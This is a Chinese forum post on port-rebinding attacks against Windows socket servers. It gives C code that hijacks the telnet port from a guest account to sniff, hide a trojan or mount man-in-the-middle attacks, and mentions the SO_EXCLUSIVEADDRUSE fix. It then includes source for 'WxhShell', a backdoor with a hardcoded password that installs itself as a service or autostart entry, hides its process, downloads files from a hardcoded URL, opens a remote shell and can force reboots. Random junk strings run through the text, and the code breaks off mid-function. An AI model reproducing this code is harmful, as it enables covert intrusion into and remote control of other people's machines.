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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4%J0e'iN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uP'L6p5  
AOZ C D{  
  saddr.sin_family = AF_INET; DLrV{8%W  
YSeH;<'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >`0U2K  
\W .CHSD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2{&A)Z!I  
rP4T;Clout  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nu6NyYs  
U`q keNd  
  这意味着什么?意味着可以进行如下的攻击: d5l42^Z  
p qz~9y~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Uw("+[5O0  
zbxW U]<S?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _=~u\$  
p[C"K0>:_F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P:'wSE91  
D!~ Y"4<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  btuG%D{a^  
xn3 _ ED  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i]r(VKX  
)$:1e)d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8X7??f1;Y  
-x+3nb|.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rlewp8?LB  
!:|*!  
  #include {KWVPeh  
  #include G1z*e.+y  
  #include 2'?'dfj  
  #include    23):OB>S`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'Tm1Mh0Fso  
  int main() ,GH`tK_  
  { b]]8Vs)'  
  WORD wVersionRequested; J#..xJ?XRD  
  DWORD ret; fs ufYIf  
  WSADATA wsaData; 0SL{J*S4[#  
  BOOL val; v8ap"9b  
  SOCKADDR_IN saddr; lD,2])>  
  SOCKADDR_IN scaddr; _iJ~O1qx,w  
  int err; 8z1z<\  
  SOCKET s; j9NF|  
  SOCKET sc; b)I-do+  
  int caddsize; rRq60A  
  HANDLE mt; Cq2Wpu-u  
  DWORD tid;   `DY yK?R  
  wVersionRequested = MAKEWORD( 2, 2 ); ,s~l; Gkj  
  err = WSAStartup( wVersionRequested, &wsaData ); Q~(Gll;  
  if ( err != 0 ) { bgor W"'  
  printf("error!WSAStartup failed!\n"); r"dIB@  
  return -1; ]W5*R07  
  } UTkPA2x  
  saddr.sin_family = AF_INET; LU:xmDv  
   |'?vlUCd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `NW/Z/_  
V.*TOU{{xh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pt <zyH3Z  
  saddr.sin_port = htons(23); &zJI~R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dTg`z,^F  
  { /]`@.mZ9:  
  printf("error!socket failed!\n"); OBAO(Ke  
  return -1; bCw{9El!K4  
  } V9oBSP'kt  
  val = TRUE; GY]P(NU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?),b902C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |Vpp'ipr  
  { OMLU ;,4  
  printf("error!setsockopt failed!\n"); ^>IP"kF  
  return -1; {fXkbMO|  
  } =p@`bx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XZ%,h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]rlZP1".  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^~H}N$W"-q  
&42 ]#B"*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !vwio!  
  { .==D?#bn  
  ret=GetLastError(); 6iU&9Z<%  
  printf("error!bind failed!\n"); /L^g. ~  
  return -1; b&rBWp0#  
  } G WIsT\J  
  listen(s,2); ;b{#$#`=  
  while(1) zq};{~u(  
  { rwq   
  caddsize = sizeof(scaddr); e S8(HI6{^  
  //接受连接请求 Yqs=jTq`{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c< $<n  
  if(sc!=INVALID_SOCKET) =*\.zr  
  { xOTvrX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r{ R-X3s  
  if(mt==NULL) P~\rP6 ;  
  { MRLiiIrq,5  
  printf("Thread Creat Failed!\n"); X"{%,]sb G  
  break; :'p)xw4K|  
  } *J-pAN  
  } G8M~}I/)  
  CloseHandle(mt); 3:WqUb\QK  
  } %OBW/Ti  
  closesocket(s); =<n ]T;  
  WSACleanup(); V+`kB3GV  
  return 0; gRY#pRT6d  
  }   << 6 GE  
  DWORD WINAPI ClientThread(LPVOID lpParam) Cf[tNq  
  { roS" q~GS,  
  SOCKET ss = (SOCKET)lpParam; v,-Tk=qP  
  SOCKET sc; v?`R8  
  unsigned char buf[4096]; Q#p)?:o/  
  SOCKADDR_IN saddr; *wTX  
  long num; J>_mDcPo  
  DWORD val; `yfZ{<  
  DWORD ret; 0nwi5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <j'K7We/tP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rbd0`J9fq  
  saddr.sin_family = AF_INET; Dd?G4xUG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); agUdI_'~@9  
  saddr.sin_port = htons(23); ^)dsi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CPJ<A,V  
  { doanTF4Da  
  printf("error!socket failed!\n"); |=}+%>y_  
  return -1; &ivU4rEG  
  } >#G%2Vp  
  val = 100; OWvblEBF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^?lpY{aa  
  { tYD8Y  
  ret = GetLastError(); ^OV; P[  
  return -1; P'<i3#;7X  
  } ` i[26Qb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1TZ[i  
  { zb0NqIN:  
  ret = GetLastError(); u2#q7}  
  return -1; ud/!@WG  
  } v<1@"9EH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 84(Jo_9  
  { .V;,6Vq  
  printf("error!socket connect failed!\n"); HkD. W6A3  
  closesocket(sc); MRpMmu  
  closesocket(ss); + f6LG 0q  
  return -1; 9~UR(Ts}l  
  } hCQOwk#  
  while(1) d8wGXNd7B  
  { [E9iuym  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H9T~7e+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v^&HZk=(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ( >}1t!1  
  num = recv(ss,buf,4096,0); 'Dfs&sm  
  if(num>0) p\[!=ZXFr\  
  send(sc,buf,num,0); 5HbHJ.|r  
  else if(num==0) &y_t,8>5  
  break; ?\\wLZ  
  num = recv(sc,buf,4096,0); )?jFz'<r  
  if(num>0) 2* g2UP  
  send(ss,buf,num,0); dy6zrgxygP  
  else if(num==0) B!&5*f}*  
  break; !td!">r46e  
  } :I#.d7`uk  
  closesocket(ss); ^(;x-d3  
  closesocket(sc); o CCtjr  
  return 0 ; ROkwjw  
  } qJ;~ANwt  
sV"tN2W@  
4u5j 7`O  
========================================================== ]O|>nTa  
0/ QDfA?  
下边附上一个代码,,WXhSHELL >v,X:B?+FL  
od!44p]  
========================================================== ranem0KQ)]  
phDIUhL$z  
#include "stdafx.h" 1sXCu|\q  
"==c  
#include <stdio.h> "W5MZ  
#include <string.h>  hE:~~ox  
#include <windows.h> O<vBuD2  
#include <winsock2.h> 9':Ipf&x  
#include <winsvc.h> G!FdTvx$  
#include <urlmon.h> 0Jv6?7]LKa  
WoXAOj%iW  
#pragma comment (lib, "Ws2_32.lib") 9'( _*KSH  
#pragma comment (lib, "urlmon.lib") }d5]N  
0eO!,/  
#define MAX_USER   100 // 最大客户端连接数 $PM r)U  
#define BUF_SOCK   200 // sock buffer n~0wq(8M  
#define KEY_BUFF   255 // 输入 buffer />xEpR3_A  
a @? $#>  
#define REBOOT     0   // 重启 F.TIdkvp  
#define SHUTDOWN   1   // 关机 8fQ~UcT$  
Gm- "?4(  
#define DEF_PORT   5000 // 监听端口 2[Bbdg[O  
,i*rHMe  
#define REG_LEN     16   // 注册表键长度 `)O9 '568  
#define SVC_LEN     80   // NT服务名长度 N~|f^#L  
q;AD#A|\  
// 从dll定义API [ &Wy $  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y's=31G@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }P2*MrkcHB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0-p^o A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ow-ejo  
lz=DGm  
// wxhshell配置信息 pKLcg"{[F  
struct WSCFG { W<<G  'Km  
  int ws_port;         // 监听端口 6`9QGi,)  
  char ws_passstr[REG_LEN]; // 口令 pRfKlTU\  
  int ws_autoins;       // 安装标记, 1=yes 0=no UusAsezm:  
  char ws_regname[REG_LEN]; // 注册表键名 VsA_x  
  char ws_svcname[REG_LEN]; // 服务名 $idToOkw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]Z[3 \~?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UL ew ~j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U$D:gZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *`OXgkQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R.|h<bur  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @yGnrfr  
!o| ex+z;  
}; f.ua,,P.  
-~.+3rcZ]  
// default Wxhshell configuration 1N),k5I  
struct WSCFG wscfg={DEF_PORT, ;R >>,&g  
    "xuhuanlingzhe", tLJ 7tnB  
    1, M]V j  
    "Wxhshell", p YCMJK-H  
    "Wxhshell", {X, -T&  
            "WxhShell Service", Rq1 5AR  
    "Wrsky Windows CmdShell Service", z .lb(xQ  
    "Please Input Your Password: ", >$}Mr%49  
  1, #p"F$@N   
  "http://www.wrsky.com/wxhshell.exe", '5$: #|-  
  "Wxhshell.exe" Il/`#b@h  
    }; fCa lR7!  
wOUCe#P|r  
// 消息定义模块 ++2a xRl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pz2E+o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wB8548C}-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '1!%yKc0  
char *msg_ws_ext="\n\rExit."; S%p,.0_  
char *msg_ws_end="\n\rQuit."; ^p4`o>  
char *msg_ws_boot="\n\rReboot..."; \R&ZWJKh  
char *msg_ws_poff="\n\rShutdown..."; }f> 81[^  
char *msg_ws_down="\n\rSave to "; aQhT*OT{Q  
rDaiA x&  
char *msg_ws_err="\n\rErr!"; b0f6?s  
char *msg_ws_ok="\n\rOK!"; |{M F o)  
!h&h;m/c  
char ExeFile[MAX_PATH]; jhG6,;1zMI  
int nUser = 0; GLY,<O>D5  
HANDLE handles[MAX_USER]; (N}\Wft%  
int OsIsNt; #)D$\0ag  
R "W=V  
SERVICE_STATUS       serviceStatus; = r=/L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B%Oi1bO  
Uwiy@ T Z  
// 函数声明 I2{zy|&  
int Install(void); .O5|d+S  
int Uninstall(void); #;2mP6a[  
int DownloadFile(char *sURL, SOCKET wsh); ;rJ#>7K  
int Boot(int flag); OwC{ Ad{  
void HideProc(void); _58&^:/^  
int GetOsVer(void); TFc/`  
int Wxhshell(SOCKET wsl); C 1HNcfa7  
void TalkWithClient(void *cs); >taT V_,  
int CmdShell(SOCKET sock); R{4[.  
int StartFromService(void); v]drDVJ   
int StartWxhshell(LPSTR lpCmdLine); yaj1nq! *"  
N*w{NB7L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A}!D&s&UH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i/N68  
GB >h8yXH  
// 数据结构和表定义 +],2smd@N  
SERVICE_TABLE_ENTRY DispatchTable[] = eF 8um$t9  
{ bB.nevb9p  
{wscfg.ws_svcname, NTServiceMain}, G* mLb1  
{NULL, NULL} o,1Fzdh6(  
}; S r7EcT-  
(>D{"}  
// 自我安装 ;f3))x  
int Install(void) #"-w;T%b  
{ 1eqFMf  
  char svExeFile[MAX_PATH]; ;hDIoSz  
  HKEY key; $>~4RXC  
  strcpy(svExeFile,ExeFile); 9OF(UFgS  
(j}Wt8  
// 如果是win9x系统,修改注册表设为自启动 Y%rC\Ij/i  
if(!OsIsNt) { =>C3IR/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~xZ )btf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); am WIA`n=  
  RegCloseKey(key); Qa16x<Xlm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0w^awT<$6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {-c[w&q  
  RegCloseKey(key); cMt , 80  
  return 0; .9bP8u2B{  
    } l$p"%5 ]_  
  } 3Z)vJC9'  
} 'UCF2 L  
else { f#vVk  
bU(fH^  
// 如果是NT以上系统,安装为系统服务 WAw} ?&k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .=b)Ae c  
if (schSCManager!=0) EJrQ9"x&n  
{ Q5v_^O<!  
  SC_HANDLE schService = CreateService bF3}L=z  
  ( NE$=R"<Gv  
  schSCManager, 7^8<[8  
  wscfg.ws_svcname, -,xsUw4  
  wscfg.ws_svcdisp, My >{;n=}  
  SERVICE_ALL_ACCESS, r#.\5aQ t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , my3W[3#  
  SERVICE_AUTO_START, } SA/,4/9  
  SERVICE_ERROR_NORMAL, v?1xYG@1  
  svExeFile, m>?{flO  
  NULL, V@>s]]HMq#  
  NULL, `Axn  
  NULL, G5x%:,n  
  NULL, b!|c:mE9|  
  NULL T*C]:=)  
  ); W[W}:@KZ  
  if (schService!=0) t5za$kW'&  
  { PAXdIh[]  
  CloseServiceHandle(schService); UG9 Ha  
  CloseServiceHandle(schSCManager); ,}#l0 BY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \xaK?_hv  
  strcat(svExeFile,wscfg.ws_svcname); g*#.yC1/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g TP0:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q:v&wb%  
  RegCloseKey(key); of:xj$dQ_  
  return 0; E^jb#9\R  
    } U,u\o@3A  
  } *X lnEHv  
  CloseServiceHandle(schSCManager); cz9T,  
} '%9e8C|  
} q>ps99[=  
-i?-Xj#%  
return 1; |q\:3R_0  
} S-6 %mYf  
:u53zX[v  
// 自我卸载 MY}B)`yx=  
int Uninstall(void) [& &9F};  
{ P\CT|K'P  
  HKEY key; f?A*g$v  
i/U HDqZ  
if(!OsIsNt) { Ik4U+'z6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &<sDbN S  
  RegDeleteValue(key,wscfg.ws_regname); j!P]xl0vOZ  
  RegCloseKey(key); J;g+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tcf>9YsOr  
  RegDeleteValue(key,wscfg.ws_regname); t|aBe7t7  
  RegCloseKey(key); <Cw)S8t  
  return 0; 4HK#]M>yz  
  } ceR zHq=  
} +H~})PeQ  
} l;SqjkN  
else { y\&`A:^[ A  
9q -9UC!g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  + >oA@z  
if (schSCManager!=0) 7,2bR  
{ Ie~#k[X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0"L_0 t:  
  if (schService!=0) #}W^d^-5t5  
  { =X11x)]F9  
  if(DeleteService(schService)!=0) { auTApYS53  
  CloseServiceHandle(schService); \Z^YaKj&  
  CloseServiceHandle(schSCManager); Q_F8u!qrZ  
  return 0; Q=%1@ ,x"  
  } ~sSlfQWMzy  
  CloseServiceHandle(schService); 0ZXG{Gp9S  
  } AVA hS}*t  
  CloseServiceHandle(schSCManager); \]W*0t>s  
} C<\|4ERp  
} G_~w0r#  
g3(fhfR'RN  
return 1; x%JtI'sg  
} T0ebW w  
(P[:g  
// 从指定url下载文件 _s Z9p4]  
int DownloadFile(char *sURL, SOCKET wsh) <o";?^0Q  
{ Xj&fWu A  
  HRESULT hr; w"O^CR)  
char seps[]= "/"; V\"x#uB  
char *token; m]$!wp  
char *file;  T^ ^o  
char myURL[MAX_PATH]; 54w..8'  
char myFILE[MAX_PATH]; Lh6G"f(n  
;_GS<[A3  
strcpy(myURL,sURL); Wej8YF@  
  token=strtok(myURL,seps); T,,,+gPx  
  while(token!=NULL) gD0 FRKn  
  { x-km)2x=W  
    file=token; ~JsTHE$F  
  token=strtok(NULL,seps); Ax4nx!W,   
  } '@h5j6:2  
YAqv:  
GetCurrentDirectory(MAX_PATH,myFILE); gh3XC.&  
strcat(myFILE, "\\"); 3EN?{T<yf  
strcat(myFILE, file); ^|?/ y=  
  send(wsh,myFILE,strlen(myFILE),0); Q&;dXE h  
send(wsh,"...",3,0); POQRq%w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wvum7K{tI  
  if(hr==S_OK) c@%:aiEl  
return 0; X/fk&Cp  
else F`;oe[wfk  
return 1; CfA^Xp@vc  
Y=l91dxGI  
} 0Kxc$c  
WUSkN;idVG  
// 系统电源模块 hTZaI*  
int Boot(int flag) pDO&I]S`q0  
{ (5] |Kcp|  
  HANDLE hToken; jemg#GB8  
  TOKEN_PRIVILEGES tkp; q"@Y2lhD!  
K%ltB&  
  if(OsIsNt) { `w1|(Sk$h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '-tiH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C d)j %  
    tkp.PrivilegeCount = 1; E=.4(J7K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w%&lCu@v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Kg:jal  
if(flag==REBOOT) { mr]IxTv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ({g7{tUy^H  
  return 0; ;#G)([  
} A>8uLO G}  
else { .olDmFQD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TOp|Qtn  
  return 0; b/:&iG;  
} x'OE},>i  
  } ,rT62w*e  
  else { /l-lkG5  
if(flag==REBOOT) { y| *X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^fT|Wm<  
  return 0; p}%T`e=Z9  
} JyY-@GF  
else { :<l(l\MC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A` x_M!m  
  return 0; n$n)!XL/  
}  -z9-f\  
} G j[`r  
E Z95)pk  
return 1; e)kN%JqW  
} Z<6XB{Nh\  
T >X nVK  
// win9x进程隐藏模块 rcUXYJCh-  
void HideProc(void) RM8p[lfX  
{ WZ @/'[  
Gj^JpG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t{n|!T&  
  if ( hKernel != NULL ) WVUa:_5{  
  { [EUp4%Z #  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >h+[#3vD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9~8 A>  
    FreeLibrary(hKernel); z DDvXz  
  } 42X N*br  
;Z%PBMa  
return; \~|+*^e)  
} qP6 YnJWl  
bi`{ k\3A  
// 获取操作系统版本 |F _ Z  
int GetOsVer(void) \8v{9Yb  
{ &VG|*&M  
  OSVERSIONINFO winfo; *"4d6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dLb9p"EE#  
  GetVersionEx(&winfo); \mRRx#-r%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n]$50_@  
  return 1; nA:\G":\y  
  else GRV#f06  
  return 0; 0?hJ!IT;q7  
} nX,2jT;@L  
= WFn+#&^  
// 客户端句柄模块 7?Vo([8  
int Wxhshell(SOCKET wsl) ? +{=>{1  
{ 3n{'}SYyz  
  SOCKET wsh; _&!%yW@  
  struct sockaddr_in client; <i9pJGW  
  DWORD myID; ~Pq(Ta  
 d~B ]s  
  while(nUser<MAX_USER) ts BPQ 8Ne  
{ "RPX_  
  int nSize=sizeof(client); VJ1(|v{D4[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r[>4b}4s  
  if(wsh==INVALID_SOCKET) return 1; ~Q7)6%  
3KFw0(S/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QJ{to%  
if(handles[nUser]==0) x8H%88!j*  
  closesocket(wsh); 3QlV,)}  
else 6*3J3Lc_<  
  nUser++; Z|&Y1k-h  
  } t[Dg)adc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,VK! 3$;|  
2,.%]U  
  return 0; '\yp}r'u  
} 0Y7b$~n'Y  
VO"f=gFg  
// 关闭 socket WR'm<u  
void CloseIt(SOCKET wsh) ub^v ,S8O  
{ 3m1]Ia -9  
closesocket(wsh); ~9#nC`%2j  
nUser--; P} =eR  
ExitThread(0); |)'gQvDM  
} a o_A %?Ld  
QIl![%  
// 客户端请求句柄 +^!;J/24  
void TalkWithClient(void *cs) -cW`qWbd  
{ 4 qdLH^dX  
{4u8~whLp  
  SOCKET wsh=(SOCKET)cs; e~7h8?\.q  
  char pwd[SVC_LEN]; {)^P_zha[9  
  char cmd[KEY_BUFF]; 6L--FY>.-  
char chr[1]; XI6LPA0%  
int i,j; f@@2@# 5B  
utk'joo  
  while (nUser < MAX_USER) { n7UZ&ab  
qta^i819  
if(wscfg.ws_passstr) { xgl~4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jz(!eTVs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ['F,  
  //ZeroMemory(pwd,KEY_BUFF); T*"15ppfk  
      i=0; ZSL:q%:.  
  while(i<SVC_LEN) { oS'M  
bJ8~/d]+  
  // 设置超时 rx^vh%/ Q!  
  fd_set FdRead; v@OyB7}  
  struct timeval TimeOut; lNV%R(  
  FD_ZERO(&FdRead); MZ_+doN  
  FD_SET(wsh,&FdRead); I W_:nm6  
  TimeOut.tv_sec=8; [E_+fT  
  TimeOut.tv_usec=0; N_jCx*.G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r Ntc{{3_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~i)O^CKq  
m#[tY >Q[b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;1Kxqp z_i  
  pwd=chr[0]; IT \Pj_  
  if(chr[0]==0xd || chr[0]==0xa) { Ydv\a6  
  pwd=0; [.e Y xZ{=  
  break; :sT\-MpQvn  
  } W!a~ #R/r-  
  i++; i?^C c\gH  
    } RZykwD(  
g=?KpI-pn0  
  // 如果是非法用户,关闭 socket USVM' ~p I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :P$I;YY=A  
} 5H_%inWM  
3HsjF5?W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,6[}qw) *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ck,.4@\tK  
kqYvd]ss  
while(1) { ,WF)GS|7V  
PPCZT3c=  
  ZeroMemory(cmd,KEY_BUFF); Uk5O9D0 He  
5- Q`v/w;  
      // 自动支持客户端 telnet标准   H!dUQ  
  j=0; %9|=\# G  
  while(j<KEY_BUFF) { A@/DGrZX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G@Dw  
  cmd[j]=chr[0]; 0 `X%&  
  if(chr[0]==0xa || chr[0]==0xd) { + ~ro*{3  
  cmd[j]=0; Yuy7TeJRx  
  break; [0GM!3YJ7  
  } l'~]8Wo1  
  j++; |=.z0{A7H  
    } <DS+"#  
^iJMUV|  
  // 下载文件 qlUYu"`i  
  if(strstr(cmd,"http://")) { 7pNTCZY|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?i4}[q  
  if(DownloadFile(cmd,wsh)) 06bl$%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4emkDTdR  
  else  U4#[>*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mY9u/; dK  
  } YWA:741  
  else { 4+mawyM  
n3{m "h3  
    switch(cmd[0]) { fM]McZ9)D  
  ki6`d?  
  // 帮助 ~Z5?\a2Ld  
  case '?': { OT7F#:2`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .kM74X=S  
    break; Hk-)fl#dr  
  } hoASrj{s  
  // 安装 _t:cDXj  
  case 'i': { o"^}2^)_SR  
    if(Install()) qQR> z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o a,Ju  
    else 9d2#=IJm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); maLJ M\C  
    break; :V2j'R,  
    } {jzN  
  // 卸载 Pf oAg*  
  case 'r': { zY8"\ZB  
    if(Uninstall()) GK}?*Lf s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( 5 d ~0  
    else lwLK#_5u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R~b9)  
    break; B$7m@|p!  
    } I=hgfo  
  // 显示 wxhshell 所在路径 c< gM  
  case 'p': { ;?;D(%L  
    char svExeFile[MAX_PATH]; mM~!68lR  
    strcpy(svExeFile,"\n\r"); G*BM'^0+  
      strcat(svExeFile,ExeFile); e#k9}n^+  
        send(wsh,svExeFile,strlen(svExeFile),0); L{2\NJ"+u  
    break; -mZo`  
    } ?{qw /&  
  // 重启 vnz.81OR  
  case 'b': { t; n6Q0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h`%K \C  
    if(Boot(REBOOT)) c%)uG _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2]u{rr~+  
    else { i`r,B`V`08  
    closesocket(wsh); f7X#cs)a  
    ExitThread(0); &tZ?%sr  
    } 6f=/vRAh$  
    break; MCQ>BP  
    } @Risab n  
  // 关机 ,@!8jar@w}  
  case 'd': {  wB5zp  
